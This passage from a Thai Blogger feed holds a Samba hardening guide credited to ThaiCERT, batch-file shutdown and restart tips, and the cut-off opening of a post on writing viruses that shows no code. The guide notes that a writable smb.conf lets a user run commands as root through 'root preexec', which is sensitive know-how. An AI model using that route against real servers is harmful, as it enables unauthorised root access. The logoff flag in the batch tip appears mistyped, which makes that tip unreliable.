จะทำการตรวจสอบรหัสผ่าน(และ     username)  จากไฟล์ /etc/samba/smbpasswd แทน     ทั้งนี้หากไฟล์ /etc/samba/smbpasswd  ไม่มีอยู่จริง      ก็จะทำให้ไม่มีผู้ใช้รายใดสามารถเข้าใช้งานแชร์ทั้งหมดได้  (โดยปกติจะไม่มีไฟล์นี้อยู่     ผู้ดูแลระบบจะต้องสร้างไฟล์นี้ขึ้นเอง  ซึ่งจะกล่าวถึงรายละเอียดในลำดับต่อไป)&lt;/p&gt;                     &lt;p class="style84"&gt;การใช้งานออปชัน encrypt passwords  นั้น จะขึ้นอยู่กับความสามารถของระบบปฎิบัติการที่เป็นไคลเอนต์ว่า      สนับสนุนการเข้ารหัสหรือไม่ ดังนี้&lt;/p&gt;                     &lt;div class="style73" align="center"&gt;&lt;span class="style91"&gt;ตารางที่ 1 แสดงระบบปฏิบัติการต่างๆ กับความสามารถในการส่งรหัสผ่านแบบเข้ารหัส &lt;/span&gt; &lt;/div&gt;                     &lt;table align="center" border="1" cellpadding="3"&gt;                       &lt;thead&gt;                         &lt;tr valign="top"&gt;                           &lt;th colspan="1" rowspan="1" class="style84" align="left"&gt; &lt;p&gt; Operating System&lt;/p&gt;&lt;/th&gt;                           &lt;th colspan="1" rowspan="1" class="style84" align="left"&gt; &lt;p&gt; Encrypted or Non-encrypted&lt;/p&gt;&lt;/th&gt;                         &lt;/tr&gt;                       &lt;/thead&gt;                       &lt;tbody&gt;                         &lt;tr valign="top"&gt;                           &lt;td colspan="1" rowspan="1" class="style84"&gt;&lt;p&gt; Windows 95&lt;/p&gt;&lt;/td&gt;                           &lt;td colspan="1" rowspan="1" class="style84"&gt;&lt;p&gt; Non-encrypted&lt;/p&gt;&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr valign="top"&gt;                           &lt;td colspan="1" rowspan="1" class="style84"&gt;&lt;p&gt; Windows 95 with SMB Update&lt;/p&gt;&lt;/td&gt;                           &lt;td colspan="1" rowspan="1" class="style84"&gt;&lt;p&gt; Encrypted&lt;/p&gt;&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr valign="top"&gt;                           &lt;td colspan="1" rowspan="1" class="style84"&gt;&lt;p&gt; Windows 98&lt;/p&gt;&lt;/td&gt;                           &lt;td colspan="1" rowspan="1" class="style84"&gt;&lt;p&gt; Encrypted&lt;/p&gt;&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr valign="top"&gt;                           &lt;td colspan="1" rowspan="1" class="style84"&gt;&lt;p&gt; Windows NT 3.&lt;em&gt; x&lt;/em&gt;&lt;/p&gt;&lt;/td&gt;                           &lt;td colspan="1" rowspan="1" class="style84"&gt;&lt;p&gt; Non-encrypted&lt;/p&gt;&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr valign="top"&gt;                           &lt;td colspan="1" rowspan="1" class="style84"&gt;&lt;p&gt; Windows NT 4.0 before SP 3&lt;/p&gt;&lt;/td&gt;                           &lt;td colspan="1" rowspan="1" class="style84"&gt;&lt;p&gt; Non-encrypted&lt;/p&gt;&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr valign="top"&gt;                           &lt;td colspan="1" rowspan="1" class="style84"&gt;&lt;p&gt; Windows NT 4.0 after SP 3&lt;/p&gt;&lt;/td&gt;                           &lt;td colspan="1" rowspan="1" class="style84"&gt;&lt;p&gt; Encrypted&lt;/p&gt;&lt;/td&gt;                         &lt;/tr&gt;                       &lt;/tbody&gt;                     &lt;/table&gt;                     &lt;p class="style84"&gt;ในกรณีที่ตั้งค่า encrypt  passwords = no     ซึ่งหมายถึง Samba  จะต้องทำการตรวจสอบรหัสผ่านและรายชื่อผู้ใช้จากไฟล์     /etc/passwd  ผู้ดูแลระบบจะสังเกตได้ว่าในไฟล์ /etc/passwd     นั้นมี default account  อยู่จำนวนมาก เช่น root, bin,     daemon, shutdown ซึ่งหมายความว่า  account ที่ติดมากับระบบดังกล่าว สามารถเป็นผู้ใช้ที่ถูกต้องในระบบของ      Samba ได้ด้วย ดังนั้นจึงขอแนะนำให้ทำการยกเลิกการใช้งาน account  ที่ติดมากับระบบ     โดยการตั้งค่าออปชัน invalid users ไว้ที่ส่วน  [global] ดังเช่น&lt;/p&gt;                     &lt;blockquote class="style84"&gt;                       &lt;p&gt; [global]&lt;br /&gt;                        invalid users = root bin daemon adm sync shutdown \&lt;br /&gt;                        halt       mail news uucp operator gopher \&lt;br /&gt;                        nobody       mailnull rpm ntp&lt;/p&gt;                     &lt;/blockquote&gt;                     &lt;p class="style84"&gt;อย่างไรก็ตาม Samba  ได้แนะนำให้ใช้ออปชัน encrypt     passwords = yes  แทนเพราะจะทำให้มีความปลอดภัยมากกว่า  ทั้งนี้ผู้ดูแลระบบจำเป็นต้องสร้างไฟล์     /etc/samba/smbpasswd ขึ้นมา  เพื่อรองรับการทำงานในโหมดดังกล่าว     ซึ่งสามารถทำได้ 2 วิธีด้วยกันคือ&lt;/p&gt;                     &lt;ol class="style84"&gt;&lt;li&gt;ใช้คำสั่ง touch /etc/samba/smbpasswd       เพื่อสร้างไฟล์เปล่าขึ้นมา                         &lt;ul&gt;&lt;li&gt;ใช้คำสั่ง smbpasswd -a lersak เพื่อเพิ่ม            account lersak ขึ้นมาในระบบของ Samba (account lersak  จะต้องมีรายชื่อเป็นผู้ใช้ในระบบเสียก่อน           โดยตรวจสอบในไฟล์  /etc/passwd จึงจะสามารถใช้คำสั่งดังกล่าวได้)&lt;/li&gt;&lt;li&gt;หาก lersak  ต้องการเปลี่ยนรหัสผ่านสำหรับเข้าใช้บริการของ Samba ก็สามารถใช้คำสั่ง            smbpasswd lersak เพื่อทำการเปลี่ยนรหัสผ่านได้&lt;/li&gt;&lt;/ul&gt;                       &lt;/li&gt;&lt;li&gt;หรือใช้สคริปต์ mksmbpasswd.sh เพื่อให้       samba สร้างไฟล์ passwd ของ samba เอง ด้วยคำสั่งต่อไปนี้                         &lt;blockquote&gt;                             &lt;p&gt;cat /etc/passwd | /usr/bin/mksmbpasswd.sh           &amp;gt; /etc/samba/smbpasswd&lt;/p&gt;                         &lt;/blockquote&gt;                       &lt;/li&gt;&lt;ul&gt;&lt;li&gt;คำสั่งด้านบนนี้จะทำการคัดลอกข้อมูลผู้ใช้ทั้ง หมดในไฟล์ /etc/passwd         ไปสร้างเป็นผู้ใช้ในระบบของ Samba  ดังนั้นหากตรวจสอบไฟล์ /etc/samba/smbpasswd         ดู จะพบว่ามี account  ที่เป็นดีฟอลต์ติดมาด้วย &lt;strong&gt;ดังนั้นผู้ดูแลระบบจะต้องลบ         account ที่ไม่ต้องการดังกล่าวออกจากระบบของ Samba&lt;/strong&gt;  ด้วยการเข้าไปแก้ไขไฟล์         /etc/samba/smbpasswd โดยตรงหรือใช้คำสั่ง          smbpasswd -x username สำหรับ username         ที่ไม่จำเป็น&lt;/li&gt;&lt;li&gt;ใช้คำสั่ง smbpasswd สำหรับสร้าง Samba         account หรือเปลี่ยนรหัสผ่านได้ตามต้องการ &lt;/li&gt;&lt;/ul&gt;&lt;/ol&gt;                     &lt;p class="style84"&gt;สำหรับระบบที่ให้บริการ Samba  service และใช้ออปชัน encrypt passwords = yes ซึ่งจำเป็นต้องสร้าง      account ของระบบขึ้นมาก่อนนั้น ในบางครั้ง account  ดังกล่าวไม่ต้องการใช้งาน shell     ในระบบเลย  มีการใช้งานเฉพาะในส่วนของการขอใช้บริการของ Samba server เท่านั้น  ดังนั้นผู้ดูแลระบบควรทำการยกเลิกการใช้งาน     account ของระบบดังกล่าว  โดยแก้ไขไฟล์ /etc/passwd แล้วเพิ่มเครื่องหมาย colon     (:)  ไปที่ต้นบรรทัดของบรรทัดที่ระบุชื่อ account  ที่ไม่ต้องการให้เข้าใช้งานในระบบ     เช่น&lt;/p&gt;                     &lt;blockquote class="style84"&gt;                       &lt;p&gt;:lersak:x:503:500::/home/lersak:/bin/bash &lt;/p&gt;                     &lt;/blockquote&gt;                     &lt;p class="style84"&gt;นอกจากนี้การที่ Samba  สร้างไฟล์รหัสผ่านของตัวเองแยกออกมาจากของระบบทำให้ผู้ใช้สามารถมีรหัสผ่าน ที่แตกต่างกันได้     อย่างไรก็ตามเพื่อป้องกันไม่ให้ผู้ใช้ของ Samba  ทำการตั้งรหัสผ่านเป็น null (ไม่มีค่าใดๆ)     ผู้ดูแลระบบควรตั้งค่าออปชัน  null passwords = no     เพื่อป้องกันเหตุการณ์ดังกล่าวได้&lt;/p&gt;                     &lt;p class="style84"&gt;นอกจากนั้น ผู้ดูแลระบบที่ตั้งค่า  encrypt passwords     = yes จำเป็นอย่างยิ่งที่จะต้องตั้งค่า permission  ของไฟล์ /etc/samba/smbpasswd     ให้มีค่าเป็น 0600 เพื่อป้องกันการ crack  password     จากไฟล์ดังกล่าว&lt;/p&gt;                     &lt;p class="style84"&gt;&lt;strong&gt;3. Networking Options&lt;/strong&gt;&lt;br /&gt;                      มี configuration ที่เกี่ยวข้องกับเครือข่ายที่ควรพิจารณาแก้ไขดังต่อไปนี้&lt;/p&gt;                     &lt;ul class="style84"&gt;&lt;li&gt;แก้ไขออปชันของ hosts allow, hosts deny  ให้ตรงกับความต้องการ   ซึ่งควรตั้งค่าให้สามารถใช้งานได้เฉพาะเครื่องที่จำเป็นต้องใช้งานเท่านั้น   เช่น &lt;/li&gt;&lt;blockquote&gt;                         &lt;p&gt;hosts allow = 192.168.1.&lt;br /&gt;                          hosts deny = 192.168.1.226/255.255.255.255&lt;/p&gt;                       &lt;/blockquote&gt;&lt;/ul&gt;                     &lt;blockquote class="style84"&gt;                       &lt;p&gt;โดยค่าที่สามารถระบุได้ใน hosts allow, hosts deny คือ&lt;/p&gt;                       &lt;ul type="square"&gt;&lt;li&gt;hostname เช่น hosts allow = example.nectec.or.th&lt;/li&gt;&lt;li&gt;ip address เช่น hosts allow = 192.168.1.22&lt;/li&gt;&lt;li&gt;domain เช่น hosts allow = .nectec.or.th exact.nectec.or.th&lt;br /&gt;                          (.nectec.or.th หมายถึง ทุกเครื่องที่อยู่ภายใต้โดเมน nectec.or.th)&lt;/li&gt;&lt;li&gt;netgroup โดยปกติใช้ได้กับเครือข่ายที่ติดตั้ง NIS, NIS+ เท่านั้น เช่น hosts         allow = @localnet&lt;br /&gt;                        &lt;/li&gt;&lt;li&gt;subnet เช่น hosts allow = 192.168.1.          (192.168.1. หมายถึง 192.168.1.0/24) &lt;/li&gt;&lt;li&gt;ALL ซึ่งหมายถึง ip ใดก็ได้&lt;/li&gt;&lt;li&gt;EXCEPT เป็นการยกเว้นค่าที่ต้องการ เช่น hosts         deny = ALL EXCEPT 192.168.1.&lt;/li&gt;&lt;/ul&gt;                       &lt;p&gt;อย่างไรก็ตาม Samba มีกฎในการนำค่า configuration ของ host allow, hosts deny       ไปใช้งานดังนี้&lt;/p&gt;                       &lt;ol&gt;&lt;li&gt;ถ้าไม่มีการระบุ hosts allow หรือ hosts deny  ตัว Samba จะถือว่าเป็นการอนุญาตให้ใช้งานได้อย่างอิสระ         (เสมือน  hosts allow = ALL)&lt;/li&gt;&lt;li&gt;ถ้ามีการระบุ hosts allow, hosts deny ใน  [global] ค่าดังกล่าวจะมีผลกับทุกๆ         แชร์ แม้ว่าจะมีการระบุ hosts  allow, deny  ในแต่ละแชร์ซึ่งการระบุในแต่ละแชร์ดังกล่าวจะถือว่าไม่มีผลแต่อย่างใด &lt;/li&gt;&lt;li&gt;ถ้ามีการระบุ hosts allow แต่ไม่ได้ระบุ hosts  deny จะถือว่า ค่าที่นอกเหนือจากที่ระบุใน         hosts allow  จะมีสถานะเป็น deny โดยอัตโนมัติ&lt;/li&gt;&lt;li&gt;ในทำนองเดียวกัน ถ้ามีการระบุ hosts deny  แต่ไม่ได้ระบุ hosts allow จะถือว่า         ค่าที่นอกเหนือจากที่ระบุใน  hosts deny จะมีสถานะเป็น allow โดยอัตโนมัติ&lt;/li&gt;&lt;li&gt;ถ้ามีค่า เช่น ip address หรือ subnet ถูกระบุในทั้ง hosts allow และใน hosts         deny จะถือว่าค่าดังกล่าวมีสถานะเป็น deny&lt;/li&gt;&lt;/ol&gt;                     &lt;/blockquote&gt;                     &lt;p class="style84"&gt;&lt;strong&gt;4. Filesystem Options&lt;/strong&gt;&lt;br /&gt;                      configuration ในส่วนนี้จะเกี่ยวข้อง filesystem  ซึ่งผู้ดูแลระบบจำเป็นต้องเข้าใจและนำไปใช้ให้เหมาะสมกับระบบของตน&lt;/p&gt;                     &lt;ul class="style84"&gt;&lt;li&gt;ตั้งค่าให้ซ่อนไฟล์ (attribute = hidden) สำหรับชื่อไฟล์ที่ขึ้นด้วยเครื่องหมาย       dot (.) ด้วยออปชัน hide dot files = yes&lt;br /&gt;                         อย่างไรก็ตามหากผู้ใช้ระบบปฏิบัติการวินโดวส์ที่ตั้งค่าให้สามารถ view        hidden files ผ่านทาง windows explorer  ได้ก็จะสามารถมองเห็นไฟล์ดังกล่าวได้ด้วยดังรูปที่       2 &lt;/li&gt;&lt;/ul&gt;                     &lt;p class="style84" align="center"&gt;&lt;img src="http://www.ensthai.com/tip_trick/samba/sam.0502.gif" height="210" width="502" /&gt;&lt;/p&gt;                     &lt;ul class="style84"&gt;&lt;blockquote&gt;                         &lt;p&gt;รูปที่ 2 การแสดงผลใน windows explorer เมื่อใช้ออปชัน hide dot files = yes &lt;/p&gt;                       &lt;/blockquote&gt;&lt;li&gt;ในการแชร์ไฟล์ใดๆ ก็ตาม ผู้ดูแลระบบสามารถกำหนดให้บางไฟล์มีแอตทริบิวต์เป็น       hidden ได้ โดยการตั้งค่าดังตัวอย่างนี้ &lt;/li&gt;&lt;/ul&gt;                     &lt;ul&gt;&lt;blockquote&gt;                     &lt;p class="style84"&gt;                            [data]&lt;br /&gt;                              path = /home/samba/data&lt;br /&gt;                              browseable = yes&lt;br /&gt;                              guest ok = no&lt;br /&gt;                              writeable = yes&lt;br /&gt;                              case sensitive = no&lt;br /&gt;  &lt;strong&gt;                            hide files = /*.java/*README*/&lt;/strong&gt;&lt;/p&gt;                     &lt;p class="style84" align="center"&gt;&lt;img src="http://www.ensthai.com/tip_trick/samba/sam.0503.gif" height="210" width="502" /&gt; &lt;/p&gt;                     &lt;ul class="style84"&gt;&lt;blockquote&gt;                         &lt;p&gt;รูปที่ 3 การแสดงผลใน windows explorer เมื่อใช้ออปชัน hide files&lt;/p&gt;                       &lt;/blockquote&gt;&lt;/ul&gt;                     &lt;blockquote class="style84"&gt;                       &lt;p&gt;โดยการกำหนดชื่อไฟล์ที่ต้องการซ่อนนั้นสามารถใช้   pattern matching ได้   อย่างไรก็ตามหากผู้ใช้ระบบปฏิบัติการวินโดวส์ที่ตั้งค่าให้สามารถ view   hidden files ผ่านทาง windows explorer   ได้ก็จะสามารถมองเห็นไฟล์ดังกล่าวได้ด้วยดังรูปที่ 3 &lt;/p&gt;                     &lt;/blockquote&gt;                     &lt;ul class="style84"&gt;&lt;li&gt;หากผู้ดูแลระบบไม่ต้องการให้ผู้ใช้มองเห็นไฟล์ บางไฟล์ได้จริง (ดังรูปที่ 4)       ต้องใช้ออปชัน veto files ในการตั้งค่า  ซึ่งมีรูปแบบการใช้งานเหมือนกับออปชัน       hide files เช่น &lt;/li&gt;&lt;blockquote&gt;                         &lt;p&gt;[data]&lt;br /&gt;                          path = /home/samba/data&lt;br /&gt;                          browseable = yes&lt;br /&gt;                          guest ok = no&lt;br /&gt;                          writeable = yes&lt;br /&gt;                          case sensitive = no&lt;br /&gt;                          &lt;strong&gt;veto files = /*.java/*README*/&lt;/strong&gt;&lt;/p&gt;                       &lt;/blockquote&gt;&lt;/ul&gt;                     &lt;div class="style73" align="center"&gt;&lt;span class="style91"&gt;&lt;img src="http://www.ensthai.com/tip_trick/samba/sam.0504.gif" height="210" width="502" /&gt; &lt;/span&gt; &lt;/div&gt;                     &lt;ul class="style84"&gt;&lt;blockquote&gt;                         &lt;p&gt;รูปที่ 4 การแสดงผลใน windows explorer เมื่อใช้ออปชัน veto files&lt;/p&gt;                       &lt;/blockquote&gt;&lt;/ul&gt;                     &lt;ul class="style84"&gt;&lt;li&gt;อย่างไรก็ตาม  เมื่อผู้ใช้ไม่ทราบว่ามีไฟล์ที่ถูกซ่อนอยู่ (โดยใช้ออปชัน veto        files) จึงมีความเป็นไปได้ที่ผู้ใช้จะทำการลบไดเรกทอรีที่บรรจุ veto file  ดังกล่าวอยู่       ผู้ดูแลระบบสามารถกำหนดได้ว่าจะอนุญาตให้ลบไฟล์ที่เป็น  veto file ได้หรือไม่ด้วยออปชัน       delete veto files = yes หรือ no        ตามความต้องการ&lt;/li&gt;&lt;li&gt;ผู้ดูแลระบบสามารถกำหนดให้ผู้ใช้สามารถมองเห็น บางไดเรกทอรีได้ แต่ไม่สามารถมองเห็นข้อมูลไฟล์ใดๆ        ในไดเรกทอรีดังกล่าวได้  รวมทั้งไม่สามารถสร้างไฟล์หรือไดเรกทอรีภายใต้ไดเรกทอรีดังกล่าวได้อีกด้วย        โดยใช้ออปชัน dont descend เช่น &lt;/li&gt;&lt;blockquote&gt;                         &lt;p&gt;[data]&lt;br /&gt;                          path = /home/samba/data&lt;br /&gt;                          browseable = yes&lt;br /&gt;                          guest ok = no&lt;br /&gt;                          writeable = yes&lt;br /&gt;                          case sensitive = no&lt;br /&gt;                          &lt;strong&gt;dont descend =         folder1 folder2&lt;/strong&gt;&lt;/p&gt;                       &lt;/blockquote&gt;&lt;li&gt;มีออปชันที่เกี่ยวข้องกับ link file  ที่จะกล่าวถึงคือ       follow symlinks = [yes|no] ซึ่งหากระบุเป็น no  ก็เป็นการสั่งให้ Samba       ไม่ค้นหาไฟล์ที่เป็นต้นฉบับที่แท้จริง  หากมีการเรียกใช้ไฟล์ที่เป็น symbolic       link ผู้ใช้ก็จะได้รับ error  message ดังรูป 5 &lt;/li&gt;&lt;/ul&gt;                     &lt;p class="style84" align="center"&gt;&lt;img src="http://www.ensthai.com/tip_trick/samba/sam.0505.gif" height="149" width="502" /&gt; &lt;/p&gt;                     &lt;ul class="style84"&gt;&lt;blockquote&gt;                         &lt;p&gt;รูปที่ 5 การแสดงผลใน windows explorer เมื่อใช้ออปชัน follow symlinks = no&lt;/p&gt;                       &lt;/blockquote&gt;&lt;li&gt;ในกรณีที่ระบุ follow symlinks = yes  และไฟล์ดังกล่าวลิงค์ไปยังต้นฉบับที่อยู่นอกไดเรกทอรีที่แชร์ไว้        ผู้ดูแลระบบสามารถกำหนดได้ว่าจะให้ผู้ใช้ใช้งานไฟล์ต้นฉบับดังกล่าวได้หรือ ไม่ด้วยออปชัน       wide links = [yes|no] &lt;/li&gt;&lt;/ul&gt;                     &lt;p class="style84"&gt;&lt;strong&gt;5. File Permissions and Attributes&lt;/strong&gt;&lt;/p&gt;                     &lt;ul class="style84"&gt;&lt;li&gt;ออปชัน create mask ใช้กำหนดค่า default permission สูงสุด สำหรับไฟล์ที่สร้างขึ้นมาใหม่       เช่น create mask = 0640&lt;br /&gt;                      &lt;/li&gt;&lt;li&gt;ออปชัน directory mask ใช้กำหนดค่า default permission สูงสุด สำหรับไดเรกทอรีที่สร้างขึ้นมาใหม่       เช่น directory mask = 750&lt;/li&gt;&lt;/ul&gt;                     &lt;p class="style84"&gt;&lt;strong&gt;6. การควบคุมการเข้าถึงแชร์&lt;/strong&gt;&lt;br /&gt;                      ผู้ดูแลระบบควรจำกัดการเข้าถึงแชร์ใดๆ  ให้ใช้งานได้เฉพาะผู้ที่สมควรได้รับสิทธิ์เท่านั้น      โดยมีออปชันที่เกี่ยวข้องดังนี้ &lt;/p&gt;                     &lt;blockquote class="style84"&gt;                       &lt;p&gt;valid users = myuid, lersak, @staff&lt;br /&gt;                        ระบุให้เฉพาะผู้ใช้ที่มีชื่อในรายการนี้เท่านั้น  จึงจะสามารถเข้าถึงดิสก์ที่แชร์ไว้ได้       (ใช้ @ สำหรับทั้ง group)&lt;br /&gt;                        ** หากรายชื่อผู้ใช้ที่กำหนดไว้ใน valid users  ไปปรากฏซ้ำกับรายชื่อใน invalid       users  ก็จะถือว่าผู้ใช้รายนั้นถูกจัดในกลุ่ม invalid users&lt;/p&gt;                       &lt;p&gt;invalid users = kitisak, @guest&lt;br /&gt;                        แสดงรายชื่อผู้ใช้ที่ไม่มีสิทธิ์เข้าใช้งานแชร์&lt;/p&gt;                       &lt;p&gt;writable = yes&lt;br /&gt;                        writeable = yes&lt;br /&gt;                        write ok = yes&lt;br /&gt;                        read only = no&lt;br /&gt;                        ออปชันทั้งสี่แบบด้านบนนี้ให้ผลลัพธ์เหมือนกัน  คืออนุญาตให้ผู้ใช้สามารถสร้างไฟล์หรือไดเร็กทอรีขึ้นมาใหม่ได้&lt;/p&gt;                       &lt;p&gt;read list = choawalit, kitisak&lt;br /&gt;                         แสดงรายชื่อผู้ใช้ที่มีสิทธิ์ใช้งานแชร์แบบอ่านเท่านั้น  ไม่สามารถทำการแก้ไขใดๆ       ได้ หากว่าผู้ใช้ใน read list มีชื่อใน list  อื่น เช่น write list, read only,       writeable  ก็จะถือว่าผู้ใช้นั้นมีสิทธิ์เป็น read only เท่านั้น&lt;/p&gt;                       &lt;p&gt;write list = lersak, phuwadon, siriwan&lt;br /&gt;                        เป็นการให้สิทธิ์ write แก่ผู้ใช้ที่มีชื่อในรายการนี้ แม้ว่าจะมีการระบุว่า       read only = yes ก็ตาม&lt;/p&gt;                       &lt;p&gt;public = no&lt;br /&gt;                        guest ok = no&lt;br /&gt;                        ออปชัน public และ guest ok สามารถใช้แทนกันได้  ซึ่งหากกำหนดค่าเป็น yes   ก็จะทำให้สามารถเข้าใช้งานดิสก์ที่แชร์ไว้โดยไม่ต้องล็อกอิน&lt;/p&gt;                       &lt;p&gt;hosts equiv =&lt;br /&gt;                        เป็นออปชันที่เป็นอันตรายอย่างยิ่ง  ผู้ดูแลระบบควรตรวจสอบให้แน่ใจว่าไม่มีการระบุออปชันนี้ในไฟล์        /etc/samba/smb.conf  เป็นอันขาด เพราะในออปชัน hosts equiv   ดังกล่าวจะกำหนดรายชื่อผู้ใช้และโฮสต์ที่สามารถเข้าใช้งานดิสก์ที่แชร์ไว้   โดยไม่ต้องใช้รหัสผ่าน (คล้ายกับไฟล์ hosts.equiv ของ Unix) &lt;/p&gt;                     &lt;/blockquote&gt;                                          &lt;p class="style84"&gt;&lt;strong&gt;7. คำแนะนำเกี่ยวกับความปลอดภัยอื่นๆ &lt;/strong&gt;&lt;br /&gt;                      ผู้ดูแลระบบจะต้องระมัดระวังในการให้ write  permission ของไฟล์ /etc/samba/smb.conf     แก่ผู้ใช้รายอื่น  เพราะหากผู้ใช้สามารถแก้ไขข้อมูลในไฟล์ smb.conf ได้ เช่น      อาจจะเพิ่มออปชัน root preexec = , root postexec =  ซึ่งเป็นการระบุให้รันคำสั่งที่ต้องการด้วยสิทธิ์ของ     root  ผู้ใช้รายดังกล่าวก็สามารถครอบครองระบบได้โดยง่าย&lt;/p&gt;                     &lt;p class="style84"&gt;ดังนั้นจึงควรแก้ไขค่า permission ของไฟล์ /etc/samba/smb.conf     ดังนี้&lt;/p&gt;                     &lt;blockquote class="style84"&gt;                       &lt;p&gt;chown root.root /etc/samba/smb.conf&lt;br /&gt;                        chmod 600 /etc/samba/smb.conf &lt;/p&gt;                     &lt;/blockquote&gt;                     &lt;p class="style84"&gt;อย่างไรก็ตามผู้ดูแลระบบควรระมัด ระวังเมื่อติดตั้ง SWAT เวอร์ชั่นที่ติดมากับ     Red Hat linux version  ที่ต่ำกว่า 7.0 เพราะ SWAT จะทำการแก้ไข permission ของไฟล์      /etc/samba/smb.conf เป็น 664 แตกต่างจาก SWAT     ที่ติดมากับ Red Hat 7.0  ขึ้นไปนั้นไม่มีช่องโหว่ดังกล่าวแล้ว แต่ผู้บุกรุกยังสามารถติดตั้ง      SWAT เวอร์ชันที่มีช่องโหว่เองได้ &lt;/p&gt;                     &lt;p class="style84"&gt;สิ่งที่สำคัญคือ  ผู้ดูแลระบบจะต้องตั้งค่าออปชันดังต่อไปนี้ในทุกๆ แชร์  เพื่อกำหนดสิทธิ์ให้ชัดเจนว่า      ผู้ใช้รายใดจะสามารถเข้ามาใช้งานได้และสามารถใช้งานในระดับใดได้บ้าง&lt;/p&gt;                     &lt;blockquote class="style84"&gt;                       &lt;p&gt;valid users =&lt;br /&gt;                        writeable =&lt;br /&gt;                        read list =&lt;br /&gt;                        write list =&lt;br /&gt;                        hosts allow =&lt;br /&gt;                        hosts deny =&lt;/p&gt;                     &lt;/blockquote&gt;                     &lt;p class="style84"&gt;&lt;strong&gt;หมายเหตุ :&lt;br /&gt;                    &lt;/strong&gt;**พอร์ตที่เกี่ยวข้องกับการทำงานของ samba server คือ 137/udp, 138/udp, 139/tcp&lt;br /&gt;                      **ผู้ดูแลระบบควรตรวจสอบการใช้งานของผู้ใช้อย่างสม่ำเสมอ ด้วยคำสั่ง smbstatus&lt;/p&gt;                     &lt;p class="style73" align="center"&gt;&lt;span class="style87"&gt;&lt;br /&gt;                      อ้างอิงข้อมูลจาก http://www.thaicert.org&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-8312424758302138520?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/8312424758302138520/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=8312424758302138520&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/8312424758302138520'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/8312424758302138520'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2011/04/samba.html' title='SAMBA'/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-4988453129312733689</id><published>2011-04-18T02:28:00.001-07:00</published><updated>2011-04-18T02:28:54.439-07:00</updated><title type='text'>shutdown ....</title><content type='html'>การให้เครื่อง Restart, Shutdown, LogOff ด้วย แบทไฟล์&lt;br /&gt;&lt;br /&gt;1. เปิด Notepad ขึ้นมาพิมพ์(หรือก็อปไปใช้)&lt;br /&gt;:ทำการชัตดาวน์เครื่อง&lt;br /&gt;@shutdown.exe -s -t 0&lt;br /&gt;2. บันทึกเป็น ชัตดาวน์.BAT&lt;br /&gt;3. ลองดับเบิลคลิ๊กดู&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1. เปิด Notepad ขึ้นมาพิมพ์(หรือก็อปไปใช้)&lt;br /&gt;:ทำการรีสตาร์ท&lt;br /&gt;@shutdown.exe -r -t 0&lt;br /&gt;2. บันทึกเป็น รีสตาร์ท.BAT&lt;br /&gt;3. ลองดับเบิลคลิ๊กดู&lt;br /&gt;&lt;br /&gt;1. เปิด Notepad ขึ้นมาพิมพ์(หรือก็อปไปใช้)&lt;br /&gt;:ทำการ LogOff&lt;br /&gt;@shutdown.exe -I -t 0&lt;br /&gt;2. บันทึกเป็น ล็อกออฟ.BAT&lt;br /&gt;3. เรียกใช้&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-4988453129312733689?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/4988453129312733689/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=4988453129312733689&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/4988453129312733689'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/4988453129312733689'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2011/04/shutdown.html' title='shutdown ....'/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-2678630474605067529</id><published>2011-04-18T02:22:00.001-07:00</published><updated>2011-04-18T02:22:47.414-07:00</updated><title type='text'>Dos command</title><content type='html'>เขียนไวรัสมันยากกว่าเขียนหนอนยังไง&lt;br /&gt;&lt;br /&gt;เขียนไวรัสมันยากกว่าเขียนหนอนยังไง&lt;br /&gt;&lt;br /&gt;เอาล่ะ...ไม่ได้เจอกันซะนาน...หายไปทำภาระกิจส่วนตัว...และแล้วมันก็จบ&lt;br /&gt;ครับ...หนังสือ...หนังหา...เลิกแต่งดีกว่า...เพราะไม่รู้ว่าเราส่งต้นฉบับไป...&lt;br /&gt;เขาจะนำไปลิขสิทธิ์ของเขาหรือเปล่า บอกว่า เครดิต 3 เดือน...โอย...ป่าน&lt;br /&gt;นั้นผมคงถูกเขาจดลิขสิทธิ์ไปแล้ว...เลยแก้เผ็ดด้วยการโพสต์หนังสือทั้งเล่ม&lt;br /&gt;ผ่านทางเวปบล็อกซะเลย...ทีนี้ใครอยากละเมิดลิขสิทธิ์ก็ปิดเวปบล็อกผม&lt;br /&gt;ก่อนแล้วกัน...&lt;br 